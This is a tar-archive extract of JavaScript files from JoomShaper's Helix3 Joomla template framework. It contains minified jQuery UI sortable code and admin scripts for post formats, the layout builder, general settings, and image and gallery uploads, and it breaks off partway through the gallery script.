s="absolute"===t?1:-1,a="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,n=/(html|body)/i.test(a[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():n?0:a.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():n?0:a.scrollLeft())*s}},_generatePosition:function(t){var i,s,a=this.options,n=t.pageX,o=t.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==document&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(n=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(o=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(n=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(o=this.containment[3]+this.offset.click.top)),a.grid&&(i=this.originalPageY+Math.round((o-this.originalPageY)/a.grid[1])*a.grid[1],o=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-a.grid[1]:i+a.grid[1]:i,s=this.originalPageX+Math.round((n-this.originalPageX)/a.grid[0])*a.grid[0],n=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-a.grid[0]:s+a.grid[0]:s)),{top:o-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:n-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(e,t,i,s){i?i[0].appendChild(this.placeholder[0]):t.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?t.item[0]:t.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var a=this.counter;this._delay(function(){a===this.counter&&this.refreshPositions(!s)})},_clear:function(e,t){function i(e,t,i){return function(s){i._trigger(e,s,t._uiHash(t))}}this.reverting=!1;var s,a=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)("auto"===this._storedCSS[s]||"static"===this._storedCSS[s])&&(this._storedCSS[s]="");this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!t&&a.push(function(e){this._trigger("receive",e,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||t||a.push(function(e){this._trigger("update",e,this._uiHash())}),this!==this.currentContainer&&(t||(a.push(function(e){this._trigger("remove",e,this._uiHash())}),a.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),a.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)t||a.push(i("deactivate",this,this.containers[s])),this.containers[s].containerCache.over&&(a.push(i("out",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,t||this._trigger("beforeStop",e,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!t){for(s=0;a.length>s;s++)a[s].call(this,e);this._trigger("stop",e,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){e.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(t){var i=t||this;return{helper:i.helper,placeholder:i.placeholder||e([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:t?t.element:null}}})});                                                                                                                                                                                                                                                                                              system/helix3/assets/js/post-formats.js                                                             0000705                 00000003067 15242051520 0014176 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
jQuery(function($) {

  $('.post-formats input').on('click', function(){
    checkFormate();
  });

  function checkFormate(){

    var formate = $('.post-formats input:checked').attr('value');
    
    if(typeof formate != 'undefined'){

      $('#jform_attribs_gallery, #jform_attribs_audio, #jform_attribs_audio, #jform_attribs_video, #jform_attribs_link_title, #jform_attribs_link_url, #jform_attribs_quote_text, #jform_attribs_quote_author, #jform_attribs_post_status').closest('.control-group').hide();

      if( formate=='video' ) {
        $('#jform_attribs_video').closest('.control-group').show();
      } else if( formate=='gallery' ) {
        $('#jform_attribs_gallery').closest('.control-group').show();
      } else if( formate=='audio' ) {
        $('#jform_attribs_audio').closest('.control-group').show();
      } else if( formate=='link' ) {
        $('#jform_attribs_link_title').closest('.control-group').show();
        $('#jform_attribs_link_url').closest('.control-group').show();
      } else if( formate=='quote' ) {
        $('#jform_attribs_quote_text').closest('.control-group').show();
        $('#jform_attribs_quote_author').closest('.control-group').show();
      } else if( formate=='status' ) {
        $('#jform_attribs_post_status').closest('.control-group').show();
      }

    }
  }

  $(document).ready(function(){
    checkFormate();
  });

});
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         system/helix3/assets/js/admin.layout.js                                                             0000705                 00000034356 15242051520 0014151 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

jQuery(function($) {

	$(document).ready(function(){

		$(this).find('select').each(function(){
			$(this).chosen('destroy');
		});

	});//end ready

	/* ----------   Load existing template   ------------- */
	$('.form-horizontal').on('click', '.layout-del-action', function(event) {
		event.preventDefault();

		var $that = $(this),
		layoutName = $(".layoutlist select").val(),
		data = {
			action : $that.data('action'),
			layoutName : layoutName
		};

		if ( confirm("Click Ok button to delete "+layoutName+", Cancel to leave.") != true ){
			return false;
		}

		if ( data.action != 'remove' ){
			alert('You are doing somethings wrong.');
		}

		var request = {
			'option' : 'com_ajax',
			'plugin' : 'helix3',
			'data'   : data,
			'format' : 'json'
		};

		$.ajax({
			type   : 'POST',
			data   : request,
			beforeSend: function(){
				$('.layout-del-action .fa-spin').show();
			},
			success: function (response) {
				var data = $.parseJSON(response.data),
				layouts = data.layout,
				tplHtml = '';

				$('#jform_params_layoutlist').find('option').remove();
				if (layouts.length) {
					for (var i = 0; i < layouts.length; i++) {
						tplHtml += '<option value="'+ layouts[i] +'">'+ layouts[i].replace('.json','')+'</option>';
					}

					$('#jform_params_layoutlist').html(tplHtml);
				}

				$('.layout-del-action .fa-spin').fadeOut('fast');
			},
			error: function(){
				alert('Somethings wrong, Try again');
				$('.layout-del-action .fa-spin').fadeOut('fast');
			}
		});
		return false;
	});

	// Save new copy of layout
	$('.form-horizontal').on('click', '.layout-save-action', function(event) {
		$('#layout-modal').find('.sp-modal-body').empty();
		$('#layout-modal .sp-modal-title').text('Save New Layout');
		$('#layout-modal #save-settings').data('flag', 'save-layout');

		var $clone = $('.save-box').clone(true);
		$('#layout-modal').find('.sp-modal-body').append( $clone );

		$('#layout-modal').spmodal();
	});

	// load layout from file

	$(".layoutlist select").chosen().change(function(){
		var $that = $(this),
		layoutName = $that.val(),
		data = {
			action : 'load',
			layoutName : layoutName
		};

		if ( layoutName == '' || layoutName == ' ' ){
			alert('You are doing somethings wrong.');
		}

		var request = {
			'option' : 'com_ajax',
			'plugin' : 'helix3',
			'data'   : data,
			'format' : 'raw'
		};

		$.ajax({
			type   : 'POST',
			data   : request,
			dataType: "html",
			beforeSend: function(){
			},
			success: function (response) {
				$('#helix-layout-builder').empty();
				$('#helix-layout-builder').append(response).fadeIn('normal');
				jqueryUiLayout();
			}
		});
		return false;
	});

	/*********   Lyout Builder JavaScript   **********/

	jqueryUiLayout();

	function jqueryUiLayout()
	{
		$( "#helix-layout-builder" ).sortable({
			placeholder: "ui-state-highlight",
			forcePlaceholderSize: true,
			axis: 'y',
			opacity: 0.8,
			tolerance: 'pointer'

		}).disableSelection();

		$('.layoutbuilder-section').find('.row').rowSortable();
	}

	// setInputValue Callback Function
	$.fn.setInputValue = function(options){
		if (this.attr('type') == 'checkbox') {
			if (options.filed == '1') {
				this.attr('checked','checked');
			}else{
				this.removeAttr('checked');
			}
		}else if(this.hasClass('input-media')){
			if(options.filed){
				$imgParent = this.parent('.media');
				console.log($imgParent);
				$imgParent.find('img.media-preview').each(function() {
					$(this).attr('src',layoutbuilder_base+options.filed);
				});
			}
			this.val( options.filed );
		}else{
			this.val( options.filed );
		}

		if (this.data('attrname') == 'column_type'){
			if (this.val() == 'component') {
				$('.form-group.name').hide();
			}
		}
	}

	// callback function, return checkbox value
	$.fn.getInputValue = function(){
		if (this.attr('type') == 'checkbox') {
			if (this.attr("checked")) {
				return '1';
			}else{
				return '0';
			}
		}else{
			return this.val();
		}
	}

	// color picker initialize
	$.fn.initColorPicker = function(){
		this.find('.minicolors').each(function() {
			$(this).minicolors({
				control: 'hue',
				position: 'bottom',
				theme: 'bootstrap'
			});
		});
	}

	// Open Row settings Modal
	$(document).on('click', '.row-ops-set', function(event){
		event.preventDefault();

		$('.layoutbuilder-section').removeClass('row-active');
		$parent = $(this).closest('.layoutbuilder-section');
		$parent.addClass('row-active');

		$('#layout-modal').find('.sp-modal-body').empty();
		$('#layout-modal .sp-modal-title').text('Row Settings');
		$('#layout-modal #save-settings').data('flag', 'row-setting');

		var $clone = $('.row-settings').clone(true);
		$clone.find('.sppb-color').each(function(){
			$(this).addClass('minicolors');
		});

		$clone = $('#layout-modal').find('.sp-modal-body').append( $clone );

		$clone.find('.addon-input').each(function(){
			var $that = $(this),
			attrValue = $parent.data( $that.data('attrname'));
			$that.setInputValue({filed: attrValue});
		});

		$clone.initColorPicker();

		$('#layout-modal').randomIds();

		$clone.find('select').chosen({
			allow_single_deselect: true
		});

		$('#layout-modal').spmodal();
	});

	// Open Column settings Modal
	$(document).on('click','.col-ops-set',function(event) {
		event.preventDefault();

		$('.layout-column').removeClass('column-active');
		$parent = $(this).closest('.layout-column');
		$parent.addClass('column-active');

		$('#layout-modal').find('.sp-modal-body').empty();
		$('#layout-modal .sp-modal-title').text('Column Settings');
		$('#layout-modal #save-settings').data('flag', 'col-setting');

		var $clone = $('.column-settings').clone(true);
		$clone.find('.sppb-color').each(function(){
			$(this).addClass('minicolors');
		});

		$clone = $('#layout-modal').find('.sp-modal-body').append( $clone );
		var comFlug = false;
		$clone.find('.addon-input').each(function(){
			var $that = $(this),
			$attrname = $that.data('attrname'),
			attrValue = $parent.data($attrname);

			if ( $attrname == 'column_type' && attrValue == '1' ) {
				comFlug = true;
			}else if($attrname == 'name' && comFlug == true){
				$that.closest('.form-group').slideUp('fast');
			}

			$that.setInputValue({filed: attrValue});
		});

		$clone.initColorPicker();

		$clone.find('select').chosen({
			allow_single_deselect: true
		});

		$('#layout-modal').randomIds();
		$('#layout-modal').spmodal();
	});


	$('.input-column_type').change(function(event) {

		var $parent = $(this).closest('.column-settings'),
		flag = false;

		$('#helix-layout-builder').find('.layout-column').not( ".column-active" ).each(function(index, val) {
			if ($(this).data('column_type') == '1') {
				flag = true;
				return false;
			}
		});

		if (flag) {
			alert('Component Area Taken');
			$(this).prop('checked',false);
			$parent.children('.form-group.name').slideDown('400');
			return false;
		}

		if ($(this).attr("checked")) {
			$parent.children('.form-group.name').slideUp('400');
		}else{
			$parent.children('.form-group.name').slideDown('400');
		}
	});

	// Save Row Column Settings
	$(document).on('click', '#save-settings', function(event) {
		event.preventDefault();

		var flag = $(this).data('flag');

		switch(flag){
			case 'row-setting':
			$('#layout-modal').find('.addon-input').each(function(){
				var $this = $(this),
				$parent = $('.row-active'),
				$attrname = $this.data('attrname');
				$parent.removeData( $attrname );

				if ($attrname == 'name') {
					var nameVal = $this.val();

					if (nameVal  !='' || $this.val() != null) {
						$('.row-active .section-title').text($this.val());
					}else{
						$('.row-active .section-title').text('Section Header');
					}
				}

				$parent.attr('data-' + $attrname, $this.getInputValue());
			});
			break;

			case 'col-setting':
			var component = false;

			$('#layout-modal').find('.addon-input').each(function(){

				var $this = $(this),
				$parent = $('.column-active'),
				$attrname = $this.data('attrname');
				$parent.removeData( $attrname ),
				dataVal = $this.val();

				if ( $attrname == 'column_type' && $(this).attr("checked") ) {
					component = true;
					$('.column-active .col-title').text('Component');
				}else if( $attrname == 'name' && component != true ) {
					if (dataVal == '' || dataVal == undefined) {
						dataVal = 'none';
					}
					$('.column-active .col-title').text(dataVal);
				}

				$parent.attr('data-' + $attrname, $this.getInputValue());
			});
			break;

			case 'save-layout':
			var layoutName = $('#layout-modal .addon-input').val(),
			data = {
				action : 'save',
				layoutName : layoutName,
				content: JSON.stringify(getGeneratedLayout())
			};

			if (layoutName =='' || layoutName ==' ') {
				alert("Without Name Layout Can't be save");
				return false;
			}

			var request = {
				'option' : 'com_ajax',
				'plugin' : 'helix3',
				'data'   : data,
				'format' : 'json'
			};

			$.ajax({
				type   : 'POST',
				data   : request,
				beforeSend: function(){
				},
				success: function (response) {
					var data = $.parseJSON(response.data),
					layouts = data.layout,
					tplHtml = '';

					$('#jform_params_layoutlist').find('option').remove();
					if (layouts.length) {
						for (var i = 0; i < layouts.length; i++) {
							tplHtml += '<option value="'+ layouts[i] +'">'+ layouts[i].replace('.json','')+'</option>';
						}

						$('#jform_params_layoutlist').html(tplHtml);
					}
				},
				error: function(){
					alert('Somethings wrong, Try again');
				}

			});
			break;

			default:
			alert('You are doing somethings wrongs. Try again');
		}
	});

	// Column Layout Arrange
	$(document).on('click', '.column-layout', function(event) {
		event.preventDefault();

		var $that = $(this),
		colType = $that.data('type'), column;

		if ($that.hasClass('active') && colType != 'custom' ) {
			return;
		};



		if (colType == 'custom') {
			column = prompt('Enter your custom layout like 4,2,2,2,2 as total 12 grid','4,2,2,2,2');
		}

		var $parent 		= $that.closest('.column-list'),
		$gparent 		= $that.closest('.layoutbuilder-section'),
		oldLayoutData 	= $parent.find('.active').data('layout'),
		oldLayout       = ['12'],
		layoutData 		= $that.data('layout'),
		newLayout 		= ['12'];

		if (oldLayoutData !=12) {
			oldLayout = oldLayoutData.split(',');
		}

		if(layoutData != 12 ){
			newLayout = layoutData.split(',');
		}

		if ( colType == 'custom' ) {
			var error 	= true;

			if ( column != null ) {
				var colArray = column.split(',');

				var colSum = colArray.reduce(function(a, b) {
					return Number(a) + Number(b);
				});

				if ( colSum == 12 ) {
					newLayout = colArray;
					$(this).data('layout', column)
					error = false;
				}
			}

			if (error) {
				alert('Error generated. Please correct your column arragnement and try again.');
				return false;
			}
		}

		var col = [],
		colAttr = [];

		$gparent.find('.layout-column').each(function(i,val){
			col[i] = $(this).html();
			var colData = $(this).data();

			if (typeof colData == 'object') {
				colAttr[i] = $(this).data();
			}else{
				colAttr[i] = '';
			}
		});

		$parent.find('.active').removeClass('active');
		$that.addClass('active');

		var new_item = '';

		for(var i=0; i < newLayout.length; i++)
		{
			var dataAttr = '';
			if (typeof colAttr[i] == 'object') {
				$.each(colAttr[i],function(index,value){
					dataAttr += ' data-'+index+'="'+value+'"';
				});
			}

			new_item +='<div class="layout-column col-sm-'+ newLayout[i].trim() +'" '+dataAttr+'>';
			if (col[i]) {
				new_item += col[i];
			}else{
				new_item += '<div class="column"> <h6 class="col-title pull-left">None</h6> <a class="col-ops-set pull-right" href="#" ><i class="fa fa-gears"></i></a></div>';
			}
			new_item +='</div>';
		}

		$old_column = $gparent.find('.layout-column');
		$gparent.find('.row.ui-sortable').append( new_item );

		$old_column.remove();
		jqueryUiLayout();
	});

	// add row
	$(document).on('click','.add-row',function(event){
		event.preventDefault();

		var $parent = $(this).closest('.layoutbuilder-section'),
		$rowClone = $('#layoutbuilder-section').clone(true);

		$rowClone.addClass('layoutbuilder-section').removeAttr('id');
		$($rowClone).insertAfter($parent);

		jqueryUiLayout();
	});

	// Remove Row
	$(document).on('click', '.remove-row', function(event){
		event.preventDefault();

		if ( confirm("Click Ok button to delete Row, Cancel to leave.") == true )
		{
			$(this).closest('.layoutbuilder-section').slideUp(500, function(){
				$(this).remove();
			});
		}
	});

	// Remove Media
	$(document).on('click','.remove-media',function(){
		var $that = $(this),
		$imgParent = $that.parent('.media');

		$imgParent.find('img.media-preview').each(function() {
			$(this).attr('src','');
			$(this).closest('.image-preview').css('display', 'none');
		});
	});

	// Generate Layout JSON

	function getGeneratedLayout(){
		var item = [];
		$('#helix-layout-builder').find('.layoutbuilder-section').each(function(index){
			var $row 		= $(this),
			rowIndex 	= index,
			rowObj 		= $row.data();
			delete rowObj.sortableItem;

			var activeLayout 	= $row.find('.column-layout.active'),
			layoutArray 	= activeLayout.data('layout'),
			layout = 12;

			if( layoutArray != 12){
				layout = layoutArray.split(',').join('');
			}

			item[rowIndex] = {
				'type'  	: 'row',
				'layout'	: layout,
				'settings' 	: rowObj,
				'attr'		: []
			};

			// Find Column Elements
			$row.find('.layout-column').each(function(index) {

				var $column 	= $(this),
				colIndex 	= index,
				className 	= $column.attr('class'),
				colObj 		= $column.data();
				delete colObj.sortableItem;

				item[rowIndex].attr[colIndex] = {
					'type' 				: 'sp_col',
					'className' 		: className,
					'settings' 			: colObj
				};

			});
		});

		return item;
	}

	//On Submit
	document.adminForm.onsubmit = function(event){

		//Webfonts
		$('.webfont').each(function(){
			var $that = $(this),
			webfont = {
				'fontFamily' : $that.find('.list-font-families').val(),
				'fontWeight' : $that.find('.list-font-weight').val(),
				'fontSubset' : $that.find('.list-font-subset').val(),
				'fontSize'	: $that.find('.webfont-size').val()
			}

			$that.find('.input-webfont').val( JSON.stringify(webfont) )

		});

		//Generate Layout
		$('#jform_params_layout').val( JSON.stringify(getGeneratedLayout()) );
	}

});
                                                                                                                                                                                                                                                                                  system/helix3/assets/js/admin.general.js                                                            0000705                 00000017324 15242051520 0014245 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

jQuery(function($){
  "use strict";

  $('.form-horizontal').addClass('helix-options');
  
  $(document).ready(function(){

    /*Basic Fields*/
    $('#details').find('>.row-fluid').find('hr').first().prev().andSelf().remove();
    $('#jform_params___field1-lbl').parent().parent().remove();
    $('#details').find('.control-group').unwrap();
    $('#jform_client_id').parent().removeClass().hide();
    /*Basic Fields*/

    var childParentEngine = function(){
      var classes = new Array();
      $("fieldset.parent, select.parent").each(function(){
        var eleclass = $(this).attr('class').split(/\s/g);
        var $key = $.inArray("parent", eleclass);
        if( $key!=-1 ){
          classes.push( eleclass[$key+1] );
        }
      });

      $("fieldset.parent, select.parent").each(function(){

        var parent = $(this);
        var eleclass = $(this).attr('class').split(/\s/g);
        var childClassName = '.child';
        var conditionClassName = '';
        var i;

        for (i=0;i<eleclass.length;i++) {
          if( $.inArray(eleclass[i], classes) < 0 ) {
            continue;
          } else {

            var elecls =  '.' + eleclass[i];

            $(childClassName+elecls).parents('.control-group').hide();
            if( $(parent).prop('type')=='fieldset' ){
              var selected = $(parent).find('input[type=radio]:checked');
              var radios = $(parent).find('input[type=radio]');
              var activeItems = conditionClassName+elecls+'_'+$(selected).val();
              var childitem =  $.trim(childClassName+elecls+activeItems);
              setTimeout(function(){
                $(childitem).parents('.control-group').show();
              }, 100);

              $(radios).on("click", function(event){
                $(childClassName+elecls).parents('.control-group').hide();
                $(childClassName+elecls+conditionClassName+elecls+'_'+$.trim($(this).val())).parents('.control-group').fadeIn();
              });

            } else if( $(parent).prop('type')=='select-one' ) {
              var element = $(parent);
              var selected = $(parent).find('option:selected');
              var option = $(parent).find('option');
              var activeItems = conditionClassName+elecls+'_'+$(selected).val();
              var childitem =  $.trim(childClassName+elecls+activeItems);
              setTimeout(function(){
                $(childitem).parents('.control-group').show();
              }, 100);

              $(element).on("change", function(event){
                $(childClassName+elecls).parents('.control-group').hide();
                $(childClassName+elecls+conditionClassName+elecls+'_'+$.trim($(this).val())).parents('.control-group').fadeIn();
              });

            }
          }
        }
      });
    }//end childParentEngine

    $('.info-labels').unwrap();

    $('.group_separator').each(function(){
      $(this).parent().prev().remove();
      $(this).parent().parent().addClass('group-separator');
      $(this).unwrap();
    });

    //Presets
    $('.preset').parent().unwrap().prev().remove();
    $('.preset').parent().removeClass('controls').addClass('presets clearfix');

    //Load Preset
    $('#attrib-preset').find('.preset-control').each(function(){
      if($(this).hasClass( current_preset )) {
        $(this).closest('.control-group').show();
      } else {
        $(this).closest('.control-group').hide();
      }
    });

    //Change Preset
    $('.preset').on('click', function(event){
      event.preventDefault();
      var $that = $(this);

      $('.preset').removeClass('active');
      $(this).addClass('active');

      $('#attrib-preset').find('.preset-control').each(function(){
        if($(this).hasClass( $that.data('preset') )) {
          $(this).closest('.control-group').fadeIn();
        } else {
          $(this).closest('.control-group').hide();
        }
      });

      $('#template-preset').val( $that.data('preset') );

    });

    //Change Preset
    $(document).on('blur', '.preset-control', function(event){
      event.preventDefault();

      var active_preset = $('.preset.active').data('preset');

      if( $(this).attr('id') == 'jform_params_' + active_preset + '_major' ) {
        $('.preset.active').css('background-color', $(this).val())
      }
    });

    //Template Information
    $('#jform_template').closest('.control-group').appendTo( $( '.form-inline.form-inline-header' ) );
    $('#jform_home').closest('.control-group').appendTo( $( '.form-inline.form-inline-header' ) );

    $('.info-labels').next().appendTo( $('#sp-theme-info') );
    $('.info-labels').prev().addBack().remove();

    childParentEngine();

    // Helix3 Admin Footer
    var footerHtml = '<div class="helix-footer-area">';
    footerHtml += '<div class="clearfix">';
    footerHtml += '<a class="helix-logo-area" href="https://www.joomshaper.com/helix" target="_blank">Helix3 Logo</a>';
    footerHtml += '<span class="template-version">'+ pluginVersion +'</span>';
    footerHtml += '</div>';
    footerHtml += '<div class="help-links">';
    footerHtml += '<a href="https://www.joomshaper.com/documentation/helix-framework/helix3" target="_blank">Documentation</a><span>|</span>';
    footerHtml += '<a href="https://www.facebook.com/groups/819713448150532/" target="_blank">Helix Community</a><span>|</span>';
    footerHtml += '<a href="https://www.joomshaper.com/page-builder" target="_blank">Page Builder Pro</a><span>|</span>';
    footerHtml += '<a href="https://www.joomshaper.com/joomla-templates" target="_blank">Premium Templates</a><span>|</span>';
    footerHtml += '<a href="https://www.joomshaper.com/joomla-extensions" target="_blank">Joomla Extensions</a>';
    footerHtml += '</div>';
    footerHtml += '</div>';

    $(footerHtml).insertAfter('.form-horizontal');
  });

  //Media Button
  $( '.input-prepend, .input-append' ).find( '.btn' ).each(function(){
    if($(this).is( '.modal, .button-select' ) ) {
      $(this).addClass( 'btn-success' );
    } else {
      $(this).addClass( 'btn-danger' );
    }
  });

  $( '.controls' ).find( '.field-media-preview' ).each(function(){
    $(this).insertBefore($(this).parent().find('.input-append'));
  });

  $( '.control-group .field-media-preview' ).not( 'img' ).each(function(){
    $(this).append('<div id="preview_empty">No image selected.</div>');
  });

  // clear image
  $( '.helix-options .controls .field-media-wrapper .input-append' ).on( 'click', '.button-clear', function( event ) {
    $(this).closest('.field-media-wrapper').find('.field-media-preview').html('<div id="preview_empty">No image selected.</div>');
  });


  //Add .btn-group class
  $( '.radio' ).addClass( 'btn-group' );

  //Import Template Settings
  $( '.form-horizontal' ).on( 'click', '#import-settings', function( event ) {
    event.preventDefault();

    var $that = $( this ),
    template_id = $that.data( 'template_id' ),
    temp_settings = $.trim( $that.prev().val() );

    if ( temp_settings == '' ) {
      return false;
    }

    if ( confirm( "Warning: It will change all current settings of this Template." ) != true ){
      return false;
    }

    var data = {
      action : 'import',
      template_id : template_id,
      settings : temp_settings
    };


    var request = {
      'option' : 'com_ajax',
      'plugin' : 'helix3',
      'data'   : data,
      'format' : 'json'
    };

    $.ajax({
      type   : 'POST',
      data   : request,
      success: function (response) {
        window.location.reload();
      },
      error: function(){
        alert('Somethings wrong, Try again');
      }
    });
    return false;
  });
});
                                                                                                                                                                                                                                                                                                            system/helix3/assets/js/spimage.js                                                                  0000705                 00000006462 15242051520 0013167 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
jQuery(function($) {

	$('.sp-image-field').each(function(index, el) {

		var $field = $(el);

		// Upload form
		$field.find('.btn-sp-image-upload').on('click', function(event) {
			event.preventDefault();
			$field.find('.sp-image-upload').click();
		});

		//Upload
		$field.find(".sp-image-upload").on('change', (function(e) {
			e.preventDefault();
			var $this = $(this);
			var file = $(this).prop('files')[0];

			var data = new FormData();
			data.append('option', 'com_ajax');
			data.append('plugin', 'helix3');
			data.append('action', 'upload_image');
			data.append('imageonly', false);
			data.append('format', 'json');

			if (file.type.match(/image.*/)) {
				data.append('image', file);

				$.ajax({
					type: "POST",
					data:  data,
					contentType: false,
					cache: false,
					processData:false,
					beforeSend: function() {
						$this.prop('disabled', true);
						$field.find('.btn-sp-image-upload').attr('disabled', 'disabled');
						var loader = $('<div class="sp-image-item-loader"><i class="fa fa-circle-o-notch fa-spin"></i></div>');
						$field.find('.sp-image-upload-wrapper').html(loader)
					},
					success: function(response)
					{
						var data = $.parseJSON(response);

						if(data.status) {
							$field.find('.sp-image-upload-wrapper').empty().html(data.output);
						} else {
							$field.find('.sp-image-upload-wrapper').empty();
							alert(data.output);
						}

						var $image = $field.find('.sp-image-upload-wrapper').find('>img');

						if($image.length) {
							$field.find('.btn-sp-image-upload').addClass('hide');
							$field.find('.btn-sp-image-remove').removeClass('hide');
							$field.find('.form-field-spimage').val($image.data('src'));
						} else {
							$field.find('.btn-sp-image-upload').removeClass('hide');
							$field.find('.btn-sp-image-remove').addClass('hide');
							$field.find('.form-field-spimage').val('');
						}

						$this.val('');
						$this.prop('disabled', false);
						$field.find('.btn-sp-image-upload').removeAttr('disabled');

					},
					error: function()
					{
						$field.find('.sp-image-upload-wrapper').empty();
						$this.val('');
					}
				});
			}

			$this.val('');

		}));

	});

	// Delete Image
	$(document).on('click', '.btn-sp-image-remove', function(event) {

		event.preventDefault();

		var $this = $(this);
		var $parent = $this.closest('.sp-image-field');

		if (confirm("You are about to permanently delete this item. 'Cancel' to stop, 'OK' to delete.") == true) {
			var request = {
				'option' : 'com_ajax',
				'plugin' : 'helix3',
				'action' : 'remove_image',
				'src'	 : $parent.find('.sp-image-upload-wrapper').find('>img').data('src'),
				'format' : 'json'
			};

			$.ajax({
				type: "POST",
				data   : request,
				success: function(response)
				{
					var data = $.parseJSON(response);
					if(data.status) {
						$parent.find('.sp-image-upload-wrapper').empty();
						$parent.find('.btn-sp-image-upload').removeClass('hide');
						$parent.find('.btn-sp-image-remove').addClass('hide');
						$parent.find('.form-field-spimage').val('');

					} else {
						alert(data.output);
					}
				}
			});
		}
	});

});
                                                                                                                                                                                                              system/helix3/assets/js/spgallery.js                                                                0000705                 00000007144 15242051520 0013542 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
jQuery(function($) {

	$('.sp-gallery-field').each(function(index, el) {

		var $field = $(el);

		// Upload form
		$field.find('.btn-sp-gallery-item-upload').on('click', function(event) {
			event.preventDefault();
			$field.find('.sp-gallery-item-upload').click();
		});

		//Sortable
		$field.find('.sp-gallery-items').sortable({
			stop : function(event,ui){
				// Set Value
				var images = [];
				$.each($field.find('.sp-gallery-items').find('>li'), function( index, value ) {
					images.push( '"' + $(value).data('src') + '"' );
				});
				var output = '{"'+ $field.find('.form-field-spgallery').data('name') +'":['+ images +']}';
				$field.find('.form-field-spgallery').val(output);
			}
		});

		//Upload
		$field.find(".sp-gallery-item-upload").on('change', (function(e) {
			e.preventDefault();
			var $this = $(this);
			var file = $(this).prop('files')[0];

			var data = new FormData();
			data.append('option', 'com_ajax');
			data.append('plugin', 'helix3');
			data.append('action', 'upload_image');
			data.append('format', 'json');

			if (file.type.match(/image.*/)) {
				data.append('image', file);

				$.ajax({
					type: "POST",
					data:  data,
					contentType: false,
					cache: false,
					processData:false,
					beforeSend: function() {
						$this.prop('disabled', true);
						$field.find('.btn-sp-gallery-item-upload').attr('disabled', 'disabled');
						var loader = $('<li class="sp-gallery-item-loader"><i class="fa fa-circle-o-notch fa-spin"></i></li>');
						$this.prev('.sp-gallery-items').append(loader)
					},
					success: function(response)
					{
						var data = $.parseJSON(response);

						if(data.status) {
							$field.find('.sp-gallery-item-loader').before(data.output);
						} else {
							alert(data.output);
						}

						$this.val('');
